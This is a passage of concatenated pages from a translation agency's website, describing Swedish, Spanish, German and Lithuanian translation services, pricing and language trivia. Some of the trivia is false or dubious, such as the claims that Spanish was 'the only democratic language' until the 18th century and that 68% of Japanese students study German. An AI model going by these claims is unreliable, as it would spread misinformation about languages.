Sweden in the area of culture is active. Close ties unite Latvian and Swedish museum and monument protection experts. Collaborations related to libraries, cultural heritage, theatre, dance, etc. also take place within the framework of various international cooperation platforms. In 2014, Riga and the Swedish city Umeå were European Capitals of Culture. Highlighting their cultural richness and diversity in Europe and the world, a number of joint projects were also implemented between the two cities, and contacts for future cooperation were established. Successful cooperation with Sweden was established by the Ethnographic Open-Air Museum of Latvia – the museum was created by taking inspiration from the Skansen museum in Sweden. The National Library of Sweden is also a long-running collaboration partner of the National Library of Latvia. Swedish writers and translators often visit the International Writers and Translators House in Ventspils. Sweden had a significant contribution to the establishment and development of the Stockholm School of Economics in Riga (since 1994) and the Riga Graduate School of Law (since 1997) after Latvia’s restoration of independence. Both universities provide highly competitive education on an international level. Students and educators from both countries use study opportunities in the other country. Latvian universities already have successful cooperation with Sweden within the framework of European Union programs BRILLIANT, ERASMUS +, and CAMART. The Latvian Academy of Culture offers a study programme ‘Intercultural Communication - Sweden’. It’s also possible to study Swedish at the University of Latvia. Whereas one can learn Latvian as a foreign language at the University of Stockholm. The interests of Swedish citizens in Latvia are represented by the Embassy of Sweden in Latvia. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO SWEDISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Swedish; Swedish to Latvian; Estonian to Swedish; Swedish to Estonian; Lithuanian to Swedish; Swedish to Lithuanian; Russian to Swedish; Swedish to Russian; Czech to Swedish; Swedish to Czech; Polish to Swedish; Swedish to Polish; Ukrainian to Swedish; Swedish to Ukrainian; Swedish to Spanish; Spanish to Swedish; German to Swedish; Swedish to German; Italian to Swedish; Swedish to Italian; French to Swedish; Swedish to French; Danish to Swedish; Swedish to Danish; Norwegian to Swedish; Swedish to Norwegian; English to Swedish; Swedish to English; Finnish to Swedish; Swedish to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO SWEDISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Swedish; Swedish to Latvian; Estonian to Swedish; Swedish to Estonian; Lithuanian to Swedish; Swedish to Lithuanian; Russian to Swedish; Swedish to Russian; Czech to Swedish; Swedish to Czech; Polish to Swedish; Swedish to Polish; Ukrainian to Swedish; Swedish to Ukrainian; Swedish to Spanish; Spanish to Swedish; German to Swedish; Swedish to German; Italian to Swedish; Swedish to Italian; French to Swedish; Swedish to French; Danish to Swedish; Swedish to Danish; Norwegian to Swedish; Swedish to Norwegian; English to Swedish; Swedish to English; Finnish to Swedish; Swedish to Finnish and others. --- > General and specialised, notary-certified translations, interpretation and other Spanish language solutions. Spanish language courses. - Published: 2017-09-29 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/ - Translation Priorities: Optional TRANSLATIONS IN SPANISH HOW MUCH DO TRANSLATIONS IN SPANISH COST? Translation cost from and to Spanish is calculated for every order individually. The price calculation takes into account various elements – the price of sequential interpretation, whisper, and simultaneous translations is based on the time of providing the service, location of the event, travel costs, and daily allowance. In simultaneous translation, expenses for technical support are additionally calculated depending on the number of participants in the event, the available technical equipment, etc. The price of written translations consists of the volume and readability of the translated material, the due date of the translation, the complexity of the terminology, repetitions in the text, formatting and editing of graphics, corrections, as well as additional services chosen by the client. IS THE PRICE LIST AVAILABLE? Yes, the price list of translation and interpreting (simultaneous and consecutive) from and to Spanish is an integral part of our contracts with clients. The Skrivanek Baltic translation agency always prepares detailed information about the cost of translation before starting a translation project. The price offer is prepared in approximately 30 minutes. The price of written translations is based on the repetitions in the text, word count, complexity of graphic elements, and other parameters. In order for you to receive a price offer, feel free to send us your material to be translated to our e-mail. Contact Skrivanek Baltic today for a free quote on Spanish translation or any other combination of translation and related business services. Our Spanish language services include: Spanish Document Translation Spanish Simultaneous Interpretation Spanish Linguistic Validation Spanish Consecutive Interpretation Spanish Transcription Spanish Typesetting and Graphics Spanish Voiceovers and Subtitling Spanish Staffing Solutions Spanish Multicultural Marketing Spanish Document Management Spanish Deposition Services Spanish Virtual Data Room Services Spanish E-learning Support Looking for a language solution in Spanish? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE SPANISH LANGUAGE Spanish, or Castilian, is a Romance language of the Indo-European language family, which is the native language of 400 million people in the whole world, mostly in the Iberian Peninsula and the Americas. Spanish is the second most common language in the world per number of speakers, and it is interesting that Spanish is spoken in Europe, America, Africa, Asia, and even Oceania. Spanish is the official language in 21 countries. 72% of Spanish people speak Spanish, the rest speak Catalan, Galician, Basque or other languages. Considering that Spanish is common in different parts of the world, multiple Spanish variants or dialects have formed. Spanish vocabulary and grammar will differ in Spanish cities Madrid or Barcelona, but it will be even more different in Latin America. Spanish has approximately 10 dialects, the most widespread is the Castilian dialect, which is taught in schools and heard on television, and is used as the literary language. Whereas there is also the Latin American Spanish dialect, Andalusian Spanish, Mexican Spanish, Columbian Spanish, Caribbean Spanish, etc. Even though it is not clear when Latin became Spanish in the modern northern and central parts of Spain, it is known for sure that the language of the Castilian region partially became a separate language thanks to King Alfonso’s attempts to standardise language for official use in the 13th The first texts of Spanish grammar were published in 1492, the same year when Cristopher Columbus discovered America. Spanish is one of the world’s most phonetic languages. If you know how a word is written, you will always know how it’s pronounced. Exceptions include new words of foreign origin which usually keep the original spelling. The Royal Spanish Academy (Real Academia Española), founded in the 18th century, is considered to be the main ‘caretaker’ of standard Spanish. It devises dictionaries and grammar handbooks. Even though the Academy’s decisions have no legal power, they are widely followed in both Spain and Latin America. One of the language reforms discussed in the academy is the introduction of the inverted question mark and exclamation mark (¿and ¡) in Spanish. Another language that has had a massive impact on Spanish besides Latin is Arabic. Nowadays English has the biggest influence on Spanish, and Spanish has borrowed hundreds of words from English related to technology and culture. Spanish is one of the six official languages in the United Nations, as well as in the European Union, Mercosur, FIFA, and other international organisations. Spanish is the second fastest language in the world – it has a speed of 7. 82 syllables per second. It is barely surpassed by Japanese with a speed of 7. 84 syllables per second. Spanish is considered the most romantic language in the world. Spanish was the only democratic language in the world until the 18th century. THE SPANISH ALPHABET The Spanish alphabet uses a variant of the Latin alphabet like most European languages do. It consists of 26 letters, which can be found in many other Indo-European languages, for example, English or Italian, but an additional letter specific to Spanish is added – ñ. In addition to the 27 letters, there are five diphthongs or letter combinations that are used to mark other sounds. They are ch, ll, rr, gu, and qu. Spelling rules have significantly changed throughout history. The modern Spanish alphabet is the result of the Spanish language reform in 2010. The new Ortografía de la lengua española (Spanish orthography system), presented by the Royal Spanish Academy (Real Academia de la Lengua Española) in the same year, stated that there are 27 letters in the alphabet. Diphthongs stopped being a part of the alphabet even though they are still used in writing. The letter Ñ, which did not exist in Latin and is not used in any other Romance languages, was introduced in the 12th century by Spanish scriveners. They used this letter as the short form of double n when they copied texts from Latin. That is how a Latin word, for example, annus became the Spanish word año. HOW DIFFICULT IS SPANISH? Learning Spanish has become quite popular in the 21st century. More people are choosing Spain as their travel destination, there is a bigger interest in the history and origins of the Spanish language; Spanish is a language that fascinates people. Spanish is considered one of the easiest languages to learn. It is a musical and rich language. Those who know one of the Romance languages – Portuguese or Italian – will have an easier time learning Spanish. Spanish is actually one of the easiest languages to learn for native English speakers. First of all, both languages use the same alphabet. Spanish pronunciation is very easy. Grammatical aspects are similar in both languages as well. Linguists say that it is possible to reach the intermediate level in Spanish in 24 months if one studies it every day. Of course, a huge part of learning a language is being around its speakers – learning the language by listening, reading, and speaking. SPANISH INTERPRETER AND TRANSLATOR The Skrivanek team of interpreters and translators handles standard written document translations, complex technical translations, and notarised translations. The Skrivanek Baltic translation agency also provides proofreading and stylistic improvement of texts in Spanish. We most often do the following translations from and to Spanish for business clients – website and e-commerce content, adaptations of advertising slogans, cooperation agreements, legal acts, court rulings, and business documentation. We also do sequential translation in business or other types of conversations, conferences, and events on Zoom. For private individuals, we do translations of personal identification documents, marriage certificates, birth certificates, education documents, passports, medical documents, etc. WHERE AND HOW MANY PEOPLE SPEAK SPANISH? The number of Spanish speakers in the world is 600 million. It is the native language of approximately 400 million people. Spanish has official status in 21 countries – Mexico, Columbia, Spain, Argentina, Venezuela, Peru, Chile, Ecuador, Guatemala, Cuba, the Dominican Republic, Honduras, Bolivia, El Salvador, Nicaragua, Paraguay, Costa Rica, Uruguay, Panama, Equatorial Guinea, and Puerto Rico. There are 10 countries where Spanish is not the official language, but has a special status – Andorra, Belize, Brazil, Gibraltar, Morocco, Philippines, Trinidad and Tobago, the USA, Vatican City, and Western Sahara. It is used as a diaspora language in Canada, Australia, the United Kingdom, France, Switzerland, Germany, Israel, Italy, and Algeria. THE SPANISH LANGUAGE IN BUSINESS More than 600 million people in the world speak Spanish (7. 8% of the world population) making it the second most spoken language after Chinese. The Cervantes Institute in Spain estimates that this number will increase to 754 million by 2100. There is plenty of evidence that indicates the dominance of English and Spanish in the world of business in the upcoming years. As a result, many students choose to study Spanish. Spanish is the official language in 21 countries. The purchasing power of Spanish-speaking clients is expanding rapidly in both the USA and Europe, and the number of companies belonging to Spanish people is growing as well. It is crucial to learn Spanish right now to enter this growing market where Spanish is the new transactional language. Spanish knowledge can help establish long-lasting business relationships with Spanish-speaking customers, suppliers, and partners. It is not only Europe but also the USA and many Latin American countries that have a significant role in the world economy. RELATIONS BETWEEN SPAIN AND LATVIA The 100th anniversary of the establishment of diplomatic relations between Spain and Latvia was celebrated in 2011. Spain has been a steady business partner of Latvia for years, which is confirmed by a solid trade turnover. Latvia mostly exports electrical equipment, plant and food industry products to Spain, and imports fruits, vegetables, beverages, and textiles. Latvia imports more than exports, which signifies a negative balance of trade and a sharp difference in product flow. Latvia and Spain have successful cooperation in culture and education as well. In 1995 the Latvian Academy of Culture introduced the sub-program Intercultural Communication Latvia – Spain. The Latvian Academy of Culture has signed agreements with numerous Spanish universities within the framework of Erasmus+. Active cooperation takes place between the University of Murcia and Riga Technical University, and between Rey Juan Carlos University and Turība University. The Art Academy of Latvia and Latvia Culture College have also established cooperation with Spanish educational institutes. Additionally, the University of Liepāja provides Spanish language studies in Latvia. Great cooperation in the area of culture has been established as well with cooperation between museums, libraries, opera houses, and artists. The Latvian National Museum of Art and museums in Spain transfer exhibits from museum collections for storage between each other. The National Film Centre of Latvia cooperates with the San Sebastián International Film Festival, which is one of the most important and oldest European film festivals. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO SPANISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Spanish; Spanish to Latvian; Estonian to Spanish; Spanish to Estonian; Lithuanian to Spanish; Spanish to Lithuanian; Russian to Spanish; Spanish to Russian; Czech to Spanish; Spanish to Czech; Polish to Spanish; Spanish to Polish; Ukrainian to Spanish; Spanish to Ukrainian; Spanish to English; English to Spanish; German to Spanish; Spanish to German; Italian to Spanish; Spanish to Italian; French to Spanish; Spanish to French; Danish to Spanish; Spanish to Danish; Norwegian to Spanish; Spanish to Norwegian; Swedish to Spanish; Spanish to Swedish; Finnish to Spanish; Spanish to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO SPANISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Spanish; Spanish to Latvian; Estonian to Spanish; Spanish to Estonian; Lithuanian to Spanish; Spanish to Lithuanian; Russian to Spanish; Spanish to Russian; Czech to Spanish; Spanish to Czech; Polish to Spanish; Spanish to Polish; Ukrainian to Spanish; Spanish to Ukrainian; Spanish to English; English to Spanish; German to Spanish; Spanish to German; Italian to Spanish; Spanish to Italian; French to Spanish; Spanish to French; Danish to Spanish; Spanish to Danish; Norwegian to Spanish; Spanish to Norwegian; Swedish to Spanish; Spanish to Swedish; Finnish to Spanish; Spanish to Finnish and others. --- > Specialised and general translations, notary-certified translations, interpreting, language courses and other German language solutions. - Published: 2017-09-29 - Modified: 2025-07-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/ - Translation Priorities: Optional GERMAN TRANSLATIONS HOW MUCH DO GERMAN TRANSLATIONS COST? The price of the translation to and from German is set for every order individually. The price consists of many components according to Skrivanek’s current price list. The price of consecutive translation depends on the time of the service and the required language combination. The price of written translation depends on the volume of original text, the deadlines, the specifics of the text content, the repetitions in text, graphic processing, text formatting, correction as well as additional services requested by the client. IS THE TRANSLATION PRICE LIST AVAILABLE The price list of written translations as well as interpretation (consecutive and simultaneous), localisation and adaptation services to and from German is an integral part of our cooperation agreement with our clients. We always provide detailed information on the translation cost and other additional costs if the client requests certain services like notarisation of translation etc. , before starting the translation project and signing the contract. The translation price depends on the volume of the translation material, the repetitions in the text, the language combination, and the material processing needs and context of the translation material. Contact Skrivanek Baltic today for a free quote on German translation or any other combination of translation and related business services. Our German language services include: German Document Translation German Simultaneous Interpretation German Linguistic Validation German Consecutive Interpretation German Transcription German Typesetting and Graphics German Voiceovers and Subtitling German Staffing Solutions German Multicultural Marketing German Document Management German Deposition Services German Virtual Data Room Services German E-learning Support Looking for a language solution in German? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE GERMAN LANGUAGE AND GERMANY German belongs to the Indo-European family’s West Germanic language group. Its origins date back to shortly before the 1st century BC, when Germanic tribes arrived in central Europe from the south. Later the Germanic language base split into three regional forms: North Germanic, East Germanic, and West Germanic. Over the centuries West Germanic developed into the contemporary German, Dutch, Frisian, Luxembourgish, Afrikaans, Scottish, and English languages. The history of contemporary German can be divided into three periods: 1. Old German (750–1050 AD) 2. Middle German (1050–1500) 3. Modern German (1500 to the present day). It is the native language of around 108 million people, ranking German 10th worldwide. But German is the most widespread native language in the European Union. German is the official state language in several European countries: Austria, Lichtenstein, Luxembourg, Switzerland, and Germany. Other German speaking communities live elsewhere – in eastern Belgium, southern Denmark, France (Alsace region) and northern Italy. According to the Latvian translator and philologist Valdis Bisenieks, the German language is special in that it did not develop naturally like other languages which were based on one dialect, but was created artificially, starting with Luther and ending with Theodor Sieb’s Bühnendeutsch (German stage pronunciation), which was so popular in Germany that it became the universal model of pronunciation. Luther took different words from different German dialects, making it kind of artificial, yet somehow natural, and where there are word variants, all different meanings emerge. German was the language of Bach, Beethoven, Brahms, Brecht, Einstein, Freud, Goethe, Grass Hegel, Kafka, Kant, Mann, Mozart, Nietzsche, Schubert, Wagner, Weber and hundreds of other world-famous philosophers, composers, artists, scientists, and writers! 68% of Japanese students study German. Mark Twain, in regard to German and the Germans’ love for compounds, said that they are not words, but ‘grammatical walks that majestically stride across the page. ’ German compounds surely annoy any learners of German but excite those to whom languages are exciting. In German all nouns are capitalised and preceded by articles which indicate the gender of the word. Feminine nouns are preceded by the article ‘die’, masculine nouns are preceded by ‘der’, and nouns of neuter gender are preceded by ‘das’. ‘Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz’ is the longest compound in German, containing 63 letters. It means ‘Acting on the delegation of responsibilities for the supervision of the labelling of cattle and beef’, and was created in 1999 during the BSE (bovine spongiform encephalopathy) crisis. It was abbreviated to ‘RkReÜAÜG’, which itself was unpronounceable. There are at least 35 dialects in Germany, and people from various regions might have trouble understanding each other. That’s why regional films are subtitled. Germans are protective of their language and most foreign films are dubbed by local German actors before premiering. Due to this, dubbing became a hundred-million-euro industry. German confectionery manufacturer Haribo launched a project where local children can exchange acorns for sweets. The collected acorns were later sent to nature reserves to feed the animals. Every year 800 million curry sausages are eaten in Germany. The snack is so popular in the country that there is even a museum for it in Berlin. More can be said about Germany as it as a country with a long history, culture, and traditions. It has produced world-renowned geniuses in culture, education, science, political science, and many other fields. But the most important thing is that German is a language that opens the way for all of us to get to know a beautiful country, a beautiful culture, and the sometimes amusing German customs. THE GERMAN ALPHABET There are 26 Latin letters in the German alphabet. Letters with umlauts (ä, ö, ü) and ligature ß are not included in the alphabet. The umlaut, or the diacritic, marks the softening of a vowel. The ligature Eszett ß is the combination of letters ‘ss’ into one symbol. The Gothic script was officially used until the beginning of the 20th century. The current spelling was introduced in the 19th century but was approved officially after the revolution in 1918. The National Socialist German Workers’ Party unsuccessfully tried to renew the Gothic script; nowadays it has only a decorative role. The phonemes are represented by nine Latin alphabet vowels (a, e, i, y, o, u, ä, ö, ü) and 20 consonants (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, ß, v, w, x, z), and their combinations (for example sch /ʃ/, ng /ŋ/). German orthography uses mainly the morphological and the phonetic principles, but also partly preserves the historical writing and thus, for example, several different vowel length markings. HOW COMPLEX IS THE GERMAN LANGUAGE? ‘A gifted person should learn English in 30 hours, French in 30 days and German in 30 years. ’ –Mark Twain German is not one of the most difficult languages to learn. Around 45% of the words are similar to English words, making it easier to learn for English speakers. Much more attention needs to be paid to the use of the three German articles. Practising the language and memorisation will be the solution. The grammatical structure of sentences is unusual. If there are two verbs in a sentence, or if a compound tense is used, the second verb is placed at the end of the sentence. This grammatical feature is rare compared to other languages. Therefore, only patience, time, and desire to learn the language are the essential parts to learning not only German, but other languages as well. The time to learn the language varies – some might need years, while others – just a year. It is accepted that to learn German up to conversational level one needs 30 weeks, or 750 hours of learning. WHERE AND HOW MANY SPEAK GERMAN? There are roughly 185 million German speakers in the world, of which 105 million are native speakers. 80 million people use German as a second language or as a foreign language in their daily lives. German is mainly spoken in Germany (more than 95% of the country’s population are native speakers), 89% in Austria and 64% in Switzerland. German is native to a lot of residents in Liechtenstein and Luxembourg. In terms of the rest of Europe, a lot a German speakers live in northern Italy, eastern Belgium, and in the Alsace region in France. Smaller German speaking communities live in Czechia, Hungary, Poland, Romania as well as Russia and Kazakhstan, where Germans were deported during the Second World War. Some of them came back to their homeland in the 1980s and 1990s. Very small German speaking communities live in Bulgaria, Cyprus, Greece, Israel, Italy, Morocco, the Netherlands, Portugal, etc. Outside of Europe, most German speakers live in the USA, Canada, Brazil, and Argentina. German is the official language in Germany, Belgium, Austria, Liechtenstein, Luxembourg, and Switzerland. German is also one of the official working languages of the European Union INTERPRETERS AND TRANSLATORS OF GERMAN The Skrivanek team of interpreters and translators of German work with written standard document translation, technical translations, as well as notarised translations. The Skrivanek translation office also ensures editing and stylistic correction of German texts. For our business clients we usually do product descriptions, e-commerce content and website translations, advertisement slogans and marketing translations, cooperation agreements and business record translations to and from German. We also offer consecutive and simultaneous interpretation of formal and other types of conversation, including on Zoom and other online platforms, live conferences, and other events. Skrivanek translators from Latvian to German also work with state institutions on cooperation agreement and legal document translation. If requested, translation of medical texts and document translation is available for both legal and natural persons. For natural persons we offer identity document, marriage certificate, birth certificate, education document, passport, medical document, and other type of document translation. As we are an international translation office and work with clients from all Baltic states, we can offer our current and potential clients translations from German into Lithuanian. Our team also has experienced translators and interpreters from German into Estonian. GERMAN IN BUSINESS As the most populated country in the European Union, Germany’s role in the international economy and business arena has grown considerably since the reunification. Germany has a social market economy – open market capitalism – which also provides social service benefits. Its economy is one of the largest in the world, and Germany is one of the world's leading import/export countries. Services, which include sectors such as telecommunication, healthcare, and tourism, are the largest contributors to the country's economy. Industry and agriculture are other important sectors of the economy. In terms of business development, Germany could now be ranked 2nd in the world behind Japan. In terms of quality of life, labour market and entrepreneurship, it is ranked as the strongest country in Europe. With German as the native language of more than 185 million people in Germany and elsewhere in the world, the country stands out for its advanced technological development, its popularity in e-commerce, and it is a fantastic market sector for foreign entrepreneurs. Therefore, German language skills are very influential and important in any business relationship in Germany and in all countries where it is the official state language. The target audience in e-commerce is huge. Speak German if you want to attract a business partner from Germany and get involved in the most dynamic business economy in the world. Germans prefer to do business with companies whose employees speak German. It has been proven that Germans are quite discriminating even against world-famous brands whose websites are in only one language; this guarantees the alienation of German customers, even if they speak English. COLLABORATION BETWEEN GERMANY AND LATVIA The Germans of Latvia, part of the Baltic provincial Germans or Baltic Germans, are one of Latvia's historic minorities. Today, Latvian Germans live in Riga and Liepaja. In 2017, Latvian Germans were the 8th largest minority, and according to the 2011 census, 3,042 Germans were living in Latvia. The arrival of Germans in Latvia was mentioned in the first part of the Livonian Chronicle of Henry, written in the beginning of the 13th century. Bishop St. Meinard from Holstein arrived in lower Daugava around 1180 and settled with the Livs living there. During the Livonian Crusades, Terra Mariana was established in the lands conquered by the German Crusaders, and alongside Latin, German and its Lower German dialect became increasingly more important as the language of international communication. After the establishment of the Duchy of Courland and Semigallia, and Swedish Livonia, the German language dominated in record keeping. Even after the capitulation of Vidzeme in 1710, Baltic Germans and the German language dominated in Vidzeme. In 1766, Empress Catherine the Great of the Russian Empire ordered the establishment of a German peasant colony in the Irsi parish. The first settler arrived in 1765 from Lübeck, and over the next two years 86 settler families arrived from Palatinate, Darmstadt, and Pomerania. At the end of the 18th century, about 6. 5% of Germans lived in Latvia; at the end of the 19th century, according to the 1897 census, 7. 1% (about 138 thousand) of the residents were Germans. Under the influence of the Revolution of 1905, in 1908–1913 the German nobility of Courland began to settle German settlers from the outskirts of the Russian Empire (Poland and Southern Russia) on their own in the manors they had bought, financed by the Kurlandischer Kreditverein in Jelgava. The first Courland German peasant colony was established in the parishes of Kurmale and Planica. In total, around 13,000 German peasants settled in the Courland province by the beginning of the First World War. After the establishment of independence in the 1920s and 1930s, the number of Germans in Latvia decreased, but they retained their influence in the Latvian economy: in 1935, 15. 7% of the 922 large industrial enterprises were owned by Germans, and they accounted for 36. 7% of total production. After the beginning of the Second World War, between 7 November and 16 December 1939, some 47,000 Baltic Germans emigrated from Latvia, while around 4,000–7,000 remained. After the occupation of Latvia, on 10 January 1941, the German and USSR governments signed an agreement to allow further emigration of Latvian Germans. Today, Germany and Latvia are linked by geographical proximity and a long-shared history, especially since Latvia's membership in the EU and NATO, which was also actively supported by the German government. The destinies of the two countries are closely linked, as they have become true partners. In practice, they had to reassert themselves again, as proved by the challenges posed by the financial and refugee crises as well as those related to security policy that can only be overcome with joint effort. This is not just about Germany’s participation in Baltic airspace control and manoeuvres, naval visits or military support that, for example, is deployed by NATO in the Baltic States and Poland from one of the four multinational battalions under Germany’s leadership. Germany has made a significant contribution to the security and stability of the Baltic region. Germany regularly participates in Baltic air patrol operations. Latvia also closely cooperates with Germany in transport and logistics. Germany is one of the countries whose businesses are involved in the Rail Baltica infrastructure project. In December 2021, the Memorandum of Understanding was signed in Riga between the Ministries of Transport, Welfare and Education and Science, and DB Engineering & Consulting GmbH, a subsidiary of Deutsche Bahn, to agree on cooperation in the development of education in the railway and transport sector. The memorandum outlines a common understanding of the need to build a railway academy, helping Riga and Latvia to become a knowledge hub of the Baltic railway and logistics industry. Practical work to agree on the necessary steps to establish the academy will continue after the signing of the Memorandum of Cooperation. Cooperation between Latvia and Germany in the field of higher education is particularly active on the basis of bilateral cooperation agreements between higher education institutions and within the Erasmus sub-programme of the Lifelong Learning Programme. For several years now, the German Bundestag has been offering young people up to the age of 32 the opportunity to participate in the International Parliamentary Scholarship programme. Latvia joined this programme in 1992. Since 2010, the Latvian Saeima has also offered German students the opportunity to annually take part in internships. The German Embassy and the Goethe-Institut in Riga, in cooperation with the Latvian Association of German Language Teachers and the National Centre for Education, provide a great deal of support for the teaching of German in Latvian educational institutions. Throughout their shared centuries-long history, German traditions and culture have also had a significant impact on the formation and development of Latvian cultural and professional life. The Goethe-Institut has been operating in Latvia since 1993 and has become an active partner in the cultural and artistic environment for many Latvian culture institutions. The contribution of the Goethe-Institut in Riga and other German cultural institutions and representatives in introducing German literature, art, music, cinema, and other fields to the Latvian population is highly appreciated and supported. The German Embassy in Latvia is also located in Riga: https://riga. diplo. de/ SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO GERMAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to German; German to Latvian; Estonian to German; German to Estonian; Lithuanian to German; German to Lithuanian; Russian to German; German to Russian; Czech to German; German to Czech; Polish to German; German to Polish; Ukrainian to German; German to Ukrainian; German to Spanish; Spanish to German; English to German; German to English; Italian to German; German to Italian; French to German; German to French; Danish to German; German to Danish; Norwegian to German; German to Norwegian; Swedish to German; German to Swedish; Finnish to German; German to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO GERMAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to German; German to Latvian; Estonian to German; German to Estonian; Lithuanian to German; German to Lithuanian; Russian to German; German to Russian; Czech to German; German to Czech; Polish to German; German to Polish; Ukrainian to German; German to Ukrainian; German to Spanish; Spanish to German; English to German; German to English; Italian to German; German to Italian; French to German; German to French; Danish to German; German to Danish; Norwegian to German; German to Norwegian; Swedish to German; German to Swedish; Finnish to German; German to Finnish and others. --- > General and specialised, notary-certified translations in Lithuanian language. Interpreting and other Lithuanian language solutions. - Published: 2017-09-29 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/ - Translation Priorities: Optional TRANSLATION INTO LITHUANIAN HOW MUCH DOES TRANSLATION INTO LITHUANIAN COST In our office, the price of each translation from/to Lithuanian is determined individually for each request. The price includes the amount of material to be translated, the translation deadlines, the specificity of the text content, the repetition of the text in the translation, graphic processing, text formatting, correction and any other services selected by the client. IS THE TRANSLATION PRICE LIST AVAILABLE? Yes, the pricing list for written and spoken translations from/to Lithuanian is included in our client collaboration agreement. Before starting a translation project, our translation project managers will always offer thorough information on the translation price. The price of each order is decided separately according to Skrivanek's current price list, based on the number of words in the source text, text duplication in the translation and other characteristics. To get a quote on the translation price, contact us or send us the text to be translated. Contact Skrivanek Baltic today for a free quote on Lithuanian translation or any other combination of translation and related business services. Our Lithuanian language services include: Lithuanian Document Translation Lithuanian Simultaneous Interpretation Lithuanian Linguistic Validation Lithuanian Consecutive Interpretation Lithuanian Transcription Lithuanian Typesetting and Graphics Lithuanian Voiceovers and Subtitling Lithuanian Staffing Solutions Lithuanian Multicultural Marketing Lithuanian Document Management Lithuanian Deposition Services Lithuanian Virtual Data Room Services Lithuanian E-learning Support Looking for a language solution in Lithuanian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE LITHUANIAN LANGUAGE Lithuanian belongs to the Baltic group of the Indo-European language family. It is the official language in Lithuania while as a minority language, it is mostly used in Latvia, Estonia and to a certain extent in Poland and Belarus. Lithuanian is the native language of approximately 4 million people, primarily in Lithuania, where it is the only official language. It belongs to the Baltic languages and is closely related to Latvian. It is the oldest living language of the Indo-European family. Out of the three Baltic languages – Lithuanian, Latvian and Prussian – concerning the ancient forms of the Proto-Indo-European language, Lithuanian takes the 2nd place: Lithuanian grammatical forms are considerably closer to Proto-Indo-European than Latvian forms. However, it is more modern than Prussian, which became extinct in the 18th century. Consequently, today Lithuanian is the oldest 